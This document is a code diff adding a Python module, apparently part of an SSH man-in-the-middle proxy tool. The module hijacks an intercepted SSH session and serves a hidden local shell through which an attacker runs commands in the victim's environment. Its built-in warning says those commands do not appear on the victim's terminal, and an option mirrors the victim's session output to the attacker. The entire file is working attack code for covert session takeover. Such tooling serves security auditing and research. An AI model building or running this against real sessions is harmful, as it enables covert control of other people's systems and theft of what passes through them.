|
| 1 | +import logging |
| 2 | +import queue |
| 3 | +import select |
| 4 | +import threading |
| 5 | +import socket |
| 6 | +import time |
| 7 | + |
| 8 | +import paramiko |
| 9 | + |
| 10 | +from ssh_proxy_server.forwarders.ssh import SSHForwarder |
| 11 | +from ssh_proxy_server.plugins.ssh.mirrorshell import InjectServer |
| 12 | + |
| 13 | + |
| 14 | +class SSHInjectableForwarder(SSHForwarder): |
| 15 | + """hijack a ssh session and execute commands on an individual shell |
| 16 | + """ |
| 17 | + |
| 18 | + HOST_KEY_LENGTH = 2048 |
| 19 | + |
| 20 | + @classmethod |
| 21 | + def parser_arguments(cls): |
| 22 | + cls.parser().add_argument( |
| 23 | + '--ssh-injector-net', |
| 24 | + dest='ssh_injector_net', |
| 25 | + default='127.0.0.1', |
| 26 | + help='local address/interface where injector sessions are served' |
| 27 | + ) |
| 28 | + cls.parser().add_argument( |
| 29 | + '--ssh-injector-enable-mirror', |
| 30 | + dest='ssh_injector_enable_mirror', |
| 31 | + action="store_true", |
| 32 | + help='enables host session mirroring for the injector shell' |
| 33 | + ) |
| 34 | + cls.parser().add_argument( |
| 35 | + '--ssh-injectshell-key', |
| 36 | + dest='ssh_injectshell_key' |
| 37 | + ) |
| 38 | + |
| 39 | + def __init__(self, session): |
| 40 | + super(SSHInjectableForwarder, self).__init__(session) |
| 41 | + self.injector_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 42 | + self.injector_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) |
| 43 | + self.injector_sock.bind((self.args.ssh_injector_net, 0)) |
| 44 | + self.injector_sock.listen(5) |
| 45 | + |
| 46 | + self.mirror_enabled = self.args.ssh_injector_enable_mirror |
| 47 | + self.queue = queue.Queue() |
| 48 | + self.sender = self.session.ssh_channel |
| 49 | + self.injector_shells = [] |
| 50 | + thread = threading.Thread(target=self.injector_connect) |
| 51 | + thread.start() |
| 52 | + self.conn_thread = thread |
| 53 | + |
| 54 | + def injector_connect(self): |
| 55 | + inject_host, inject_port = self.injector_sock.getsockname() |
| 56 | + logging.info( |
| 57 | + "created injector shell on port {port}. connect with: ssh -p {port} {host}".format( |
| 58 | + host=inject_host, |
| 59 | + port=inject_port |
| 60 | + ) |
| 61 | + ) |
| 62 | + try: |
| 63 | + while not self.session.ssh_channel.closed: |
| 64 | + readable = select.select([self.injector_sock], [], [], 0.5)[0] |
| 65 | + if len(readable) == 1 and readable[0] is self.injector_sock: |
| 66 | + client, addr = self.injector_sock.accept() |
| 67 | + |
| 68 | + t = paramiko.Transport(client) |
| 69 | + t.set_gss_host(socket.getfqdn("")) |
| 70 | + |
| 71 | + t.load_server_moduli() |
| 72 | + if self.args.ssh_injectshell_key: |
| 73 | + t.add_server_key(paramiko.RSAKey(filename=self.args.ssh_injectshell_key)) |
| 74 | + else: |
| 75 | + t.add_server_key(paramiko.RSAKey.generate(bits=self.HOST_KEY_LENGTH)) |
| 76 | + |
| 77 | + inject_server = InjectServer(self.server_channel) |
| 78 | + try: |
| 79 | + t.start_server(server=inject_server) |
| 80 | + except (ConnectionResetError, EOFError, paramiko.SSHException): |
| 81 | + t.close() |
| 82 | + continue |
| 83 | + injector_channel = None |
| 84 | + while not injector_channel: |
| 85 | + injector_channel = t.accept(0.5) |
| 86 | + injector_shell = InjectorShell(addr, injector_channel, self) |
| 87 | + injector_shell.start() |
| 88 | + self.injector_shells.append(injector_shell) |
| 89 | + time.sleep(0.1) |
| 90 | + except (paramiko.SSHException, OSError) as e: |
| 91 | + logging.warning("injector connection suffered an unexpected error") |
| 92 | + logging.exception(e) |
| 93 | + self.close_session(self.channel) |
| 94 | + |
| 95 | + def forward_stdin(self): |
| 96 | + if self.session.ssh_channel.recv_ready(): |
| 97 | + buf = self.session.ssh_channel.recv(self.BUF_LEN) |
| 98 | + self.queue.put((buf, self.session.ssh_channel)) |
| 99 | + |
| 100 | + def forward_stdout(self): |
| 101 | + if self.server_channel.recv_ready(): |
| 102 | + buf = self.server_channel.recv(self.BUF_LEN) |
| 103 | + self.sender.sendall(buf) |
| 104 | + if self.mirror_enabled and self.sender == self.session.ssh_channel: |
| 105 | + for shell in self.injector_shells: |
| 106 | + if shell.client_channel is not self.sender: |
| 107 | + shell.client_channel.sendall(buf) |
| 108 | + |
| 109 | + def forward_extra(self): |
| 110 | + if not self.server_channel.recv_ready() and not self.session.ssh_channel.recv_ready() and not self.queue.empty(): |
| 111 | + msg, sender = self.queue.get() |
| 112 | + self.server_channel.sendall(msg) |
| 113 | + self.sender = sender |
| 114 | + self.queue.task_done() |
| 115 | + |
| 116 | + def close_session(self, channel): |
| 117 | + super().close_session(channel) |
| 118 | + for shell in self.injector_shells: |
| 119 | + shell.join() |
| 120 | + self.conn_thread.join() |
| 121 | + self.injector_sock.close() |
| 122 | + |
| 123 | + |
| 124 | +class InjectorShell(threading.Thread): |
| 125 | + |
| 126 | + BUF_LEN = 1024 |
| 127 | + STEALTH_WARNING = """ |
| 128 | +[INFO]\r |
| 129 | +This is a hidden shell injected into the secure session the original host created.\r |
| 130 | +Any commands issued CAN affect the environment of the user BUT will not be displayed on their terminal!\r |
| 131 | +Exit the hidden shell with CTRL+C\r |
| 132 | +""" |
| 133 | + |
| 134 | + def __init__(self, remote, client_channel, forwarder): |
| 135 | + super(InjectorShell, self).__init__() |
| 136 | + self.remote = remote |
| 137 | + self.forwarder = forwarder |
| 138 | + self.queue = self.forwarder.queue |
| 139 | + self.client_channel = client_channel |
| 140 | + |
| 141 | + def run(self) -> None: |
| 142 | + self.client_channel.sendall(self.STEALTH_WARNING) |
| 143 | + try: |
| 144 | + while not self.forwarder.session.ssh_channel.closed: |
| 145 | + if self.client_channel.recv_ready(): |
| 146 | + data = self.client_channel.recv(self.forwarder.BUF_LEN) |
| 147 | + if data == b'\x03': |
| 148 | + break |
| 149 | + self.queue.put((data, self.client_channel)) |
| 150 | + if self.client_channel.exit_status_ready(): |
| 151 | + break |
| 152 | + time.sleep(0.1) |
| 153 | + except paramiko.SSHException: |
| 154 | + logging.warning("injector shell %s with unexpected SSHError", str(self.remote)) |
| 155 | + finally: |
| 156 | + self.terminate() |
| 157 | + |
| 158 | + def terminate(self): |
| 159 | + if not self.forwarder.session.ssh_channel.closed: |
| 160 | + self.forwarder.injector_shells.remove(self) |
| 161 | + self.client_channel.get_transport().close() |
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